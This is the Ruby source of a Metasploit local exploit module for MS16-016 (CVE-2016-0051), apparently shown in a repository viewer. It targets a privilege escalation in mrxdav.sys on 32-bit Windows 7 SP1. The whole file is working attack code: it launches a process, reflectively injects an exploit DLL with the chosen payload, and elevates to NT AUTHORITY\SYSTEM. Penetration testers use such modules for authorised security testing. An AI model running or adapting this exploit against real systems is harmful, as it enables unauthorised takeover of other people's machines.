Grant Willcox
85 lines
2.5 KiB
Ruby
85 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Process
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include Msf::Post::Windows::FileInfo
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include Msf::Post::Windows::ReflectiveDLLInjection
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def initialize(info={})
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super(update_info(info, {
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'Name' => 'MS16-016 mrxdav.sys WebDav Local Privilege Escalation',
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'Description' => %q{
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This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn
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a process on the target system and elevate its privileges to NT AUTHORITY\SYSTEM before executing
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the specified payload within the context of the elevated process.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tamas Koczka', # Original Exploit
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'William Webb <william_webb[at]rapid7.com>' # C port and Metasploit module
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],
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'DisablePayloadHandler' => false
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},
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'Targets' =>
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[
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[ 'Windows 7 SP1', { } ]
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],
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'Payload' =>
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{
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'Space' => 4096,
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'DisableNops' => true
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},
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'References' =>
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[
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[ 'CVE', '2016-0051' ],
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[ 'MSB', 'MS16-016' ]
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],
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'DisclosureDate' => '2016-02-09',
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'DefaultTarget' => 0
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}))
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end
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def check
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if sysinfo["Architecture"] == ARCH_X64
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return Exploit::CheckCode::Safe
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end
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Exploit::CheckCode::Detected
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end
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def exploit
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if is_system?
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fail_with(Failure::None, 'Session is already elevated')
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end
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if sysinfo["Architecture"] == ARCH_X64
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fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
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end
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print_status('Launching a process to host the payload DLL, then reflectively injecting the DLL and running it...')
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encoded_payload = payload.encoded
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execute_dll(
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::File.join(Msf::Config.data_directory, "exploits", "cve-2016-0051", "cve-2016-0051.x86.dll"),
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encoded_payload
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)
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print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
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sleep(3)
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end
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end
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